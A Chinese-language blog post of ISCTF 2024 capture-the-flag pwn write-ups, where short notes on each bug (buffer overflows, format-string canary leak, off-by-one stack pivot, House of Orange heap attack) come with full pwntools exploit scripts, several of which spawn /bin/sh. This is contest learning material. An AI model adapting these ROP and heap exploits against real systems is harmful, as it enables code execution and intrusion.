# ISCTF 2024

好久没更新 blog 了,随便更新一篇近期的比赛吧。

# Netcat

img

# girlfriend

img

img

s1 要匹配 admin,通过 read 读入 buf,将 s1 处覆盖成 admin

在 vuln 函数有数组越界改写漏洞,通过越界改写 i,从而 sacnf 可以改写返回

exp 如下

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
# context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
# libc = './'
host, port = "27.25.151.12:34617".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
id = 'admin\x00\x00\x00'*(0x30//8)
ru('team id\n')
se(id)
# debug()
# for i in range(5):
ru('birthday\n')
sl(str(0x11111111)+str(0x11111111)+str(0x11111111))
ru('birthday\n')
sl(str(0x11111111)+str(0x11111111)+str(0x11111111))
ru('birthday\n')
sl(str(0x11111111)+str(0x11111111)+str(0x11111111))
ru('birthday\n')
sl(str(0x11111111)+str(0x11111111)+str(0x11111111))
ru('birthday\n')
sl(str(0x11111111)+str(0x11111111)+str(0x11111111))
ru('birthday\n')
# debug('b* 0x4012cd')
sl(str(1))
sl(str(2))
sl(str(2))
sl(str(6))
sl(str(6))
sl(str(0x40121E))
it()

img

# ez_game

img

种子为 1,伪随机,同时给了 gets 无限溢出漏洞,可以将种子覆盖掉,alarm 有限制时间,但是在交互时候 alarm 在输入很快并没有什么影响。所以 exp 传 20000 次伪随机数即可

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './ez_game'
libc = '/lib/x86_64-linux-gnu/libc.so.6'
host, port = "27.25.151.12:25484".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
pl = p64(0)*(0x1a0//8-0x10) + padding(14*8) + p64(0x4E20) + p32(0x4E20) + p32(0) + p64(0x4012FC)*2
# debug()
sl(pl)
ru('you want to guess: ')
libc.srand(0x4E20)
for i in range(20001):
        v7 = libc.rand() % 7 + 1
        print(v7)
        sl(str(v7))
it()

img

# ret2orw

先泄露 libc,之后就是比较普通的 orw,直接放脚本了

'''
huan_attack_pwn
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './ret2orw'
libc = './libc.so.6'
host, port = "27.25.151.12:36337".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()

pg = elf.got['puts']
pp = elf.plt['puts']
rdi = 0x4012CE
ra = 0x4012F2

pl = padding(0x20) + p64(0) + p64(rdi) + p64(pg) + p64(pp) + p64(ra)

sla("oh,what's this?\n",pl)
puts_addr = u64(rc(6).ljust(8,b'\x00'))
lg('puts_addr')

libc.address = puts_addr - libc.sym['puts']
libc_address = libc.address 
lg('libc_address')

open_addr = libc.sym['open']
sendfile = libc.sym['sendfile']
write_addr = libc.sym['write']
rsi = 0x000000000016333a + libc_address
rdx = 0x00000000000904a9 + libc_address
pl = padding(0x20) + p64(0)
pl += p64(rsi) + p64(elf.bss()+0x200) + p64(elf.plt['read'])
pl += p64(rdi) + p64(elf.bss()+0x200) + p64(rsi) + p64(0) + p64(open_addr)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(elf.bss()+0x400) + p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['read'])
pl += p64(rdi) + p64(1) + p64(rsi) + p64(elf.bss()+0x400) + p64(rdx) + p64(0x50) + p64(0) +p64(write_addr)

# debug()
sa("oh,what's this?\n",pl.ljust(0x100,b'\0'))

se('./flag\x00\x00')
it()

img

# 小蓝鲨 stack

img

程序代码比较简单

img

先通过 1 字节溢出地址,返回到 libc_call_main 处,使用 printf 泄露 libc 以及再次返回到 main。

然后打 ret2libc 即可

'''
huan_attack_pwn
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './ezstack'
libc = './libc-2.31.so'
host, port = "27.25.151.12:24744".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
pl = padding(0x20) + padding(8) + b'\x10'
# debug()
se(pl)

ru('YhuanYhuanYhuanYhuanYhuanYhuanYYYhuanYYY')
libcbase = u64(rc(6).ljust(8,b'\x00'))-0x024010
lg('libcbase')

system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh'))
rdi = 0x0000000000023b6a + libcbase
lg('system')
# pause()
# sl('')
pl = padding(0x20) + padding(8) + p64(rdi+1) + p64(rdi) + p64(binsh) + p64(system)
se(pl)

it()

img

# 0verf10w

img

img

scanf 有长溢出漏洞,printf 格式字符串泄露 canary,vuln 有 off by one 漏洞,在 stack 中,有留下 libc_call_main 的片段。

img

这个片段刚好,1/16 的 off by one 将栈迁移到即可

'''
huan_attack_pwn
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "27.25.151.12:32559".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()

sl(b'ab'*0x4+b"%31$p"+b'a'*0x4+b'%29$p'+b'\x00'*7)
ru("Great, I've decided to give you a gift!\n")
# debug()
# 0x7ffff7c29e40
se(b'%9$p'*3)
ru("abababab0x")
libcbase = int(rc(len('7ffff7c29e40')),16) - 128 - libc.sym['__libc_start_main']
ru('0x')
canary = int(rc(16),16)
lg('libcbase')
lg('canary')
# pause()
ru('again?????\n')
pl = p64(0)*3 + p64(canary) + b'\xf0'
# debug()
sl(pl)

system = libc.sym['system'] + libcbase
binsh = next(libc.search(b'/bin/sh')) + libcbase
rdi = libcbase + 0x000000000002a3e5
lg('system')
# pause()
pl = padding(0x14-8) + p64(canary) +  p64(0) + p64(rdi+1) +  p64(rdi) + p64(binsh) + p64(system)
sla('name before that?\n',pl)


sla('gift!\n','1234')
sla('again?????\n','1234')
it()

img

# syscall

程序代码很明显,自己设置寄存器。但是需要找一个位置去写入 binsh 字符串,找一个返回可写内存地址的系统调用即可 brk rax=12,在 init 里也有这个 malloc 提示,但是我构造 read 的读入的地方应该为远程的 bss 段,后来发现只加 0x200 放到 heap 也可以。

'''
huan_attack_pwn
'''

import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './vuln'
libc = './libc.so.6'
host, port = "27.25.151.12:37390".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()


def set_reg(rax,rdi,rsi,rdx):
        sla('RAX : ',str(rax))
        sla('RDI : ',str(rdi))
        sla('RSI : ',str(rsi))
        sla('RDX : ',str(rdx))

set_reg(12,0,0,0)

ru('0x')
# debug()
addr = int(rc(12),16) - 0x10000  # bss
lg('addr')
# pause()
set_reg(0,0,hex(addr),0x8)
# pause()
se('/bin/sh\x00')
# pause()
set_reg(59,addr,0,0)

it()

img

# orange

先进行逆向一下

img

add 没有限制 malloc 的大小,14 次 add 机会

img

show printf 的 show

img

edit size 重新设置,所以可以进行堆溢出漏洞

img

这题通过题目描述,是 orange 打法,通过覆盖 top_chunk 的 size,放入 unsortbin 中,在申请泄露出 libc 和 heapbase,在打 apple 链即可,需要注意的是要堆风水的布置,不要有回车字符出现’\n’ TUT

'''
huan_attack_pwn
'''

import sys
from pwn import *
from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.27.so'
ld = './ld-2.27.so'
host, port = "27.25.151.12:23160".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
ld = ELF(ld)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()


def menu(inputs):
        sla('Enter \n',str(inputs))

def exit_():
        menu(0)

def add(size):
        menu(1)
        sla('size\n',str(size))

def fake_free(idx):
        menu(2)
        sla('index\n',str(idx))

def show(idx):
        menu(3)
        sla('index',str(idx))

def edit(idx,size,ct):
        menu(4)
        sla('index\n',str(idx))
        sla('input size\n',str(size))
        sla('input\n',ct)


payload=b'a'*(0x10) + p64(0) + p64(0xd91)
add(0x10)# 0 

edit(0,len(payload),payload)
add(0xf00)# 1
# debug()
add(0x400)# 2
show(2)
ru('index 2: ')
libcbase = u64(rc(6).ljust(8,b'\x00')) - 0x3ec1f0 - 0xb0
lg('libcbase')
libc.address = libcbase
pad = b'a'*        0x10
edit(2,len(pad),pad)
show(2)
ru(pad)
heapbase = u64(rc(6).ljust(8,b'\x00')) - 0x270
lg('heapbase')
target_addr = libc.symbols['_IO_list_all']
sys_addr = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
_lock = libcbase + 0x3ec708
fake_IO_FILE = libcbase
_IO_wfile_jumps = libcbase + 0x3e7d60
fake_wfile = heapbase + 0x0228a0 + 0x100
lg('fake_wfile')
# pause()
# ogg = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
 
fake_file = flat({
    0:{
        0:0x320,
        0x68:next(libc.search(b'/bin/sh')),
        0xa0:fake_wfile,
        0xa8:libc.symbols['system'],
        0xd8:_IO_wfile_jumps
    },
    0x100:{
        0x18:0,
        0x30:0,
        0x70:0,
        0x88:0,
        0x130:fake_wfile + 0x200
    },
    0x300:{
        0x68:libc.address + 0x520C7
    }
})
add(0x980)
pl = b'a'*0x980 + p64(0) + p64(0x761)
edit(3,len(pl),pl)
add(0x1000)
pl = b'a'*0x980 + p64(0) + p64(0x971)
edit(3,len(pl),pl)
pl = b'a'*0x400+p64(0)+p64(0x961)+p64(libcbase+0x3ec1e0)+p64(target_addr-0x10)+p64(heapbase+0x680)+p64(target_addr-0x20)
edit(2, len(pl), pl)

add(0xa00)

edit(3, 0x2000, b'b'*0x980 + fake_file)
pause()

sla('Enter \n',str(0))
it()

img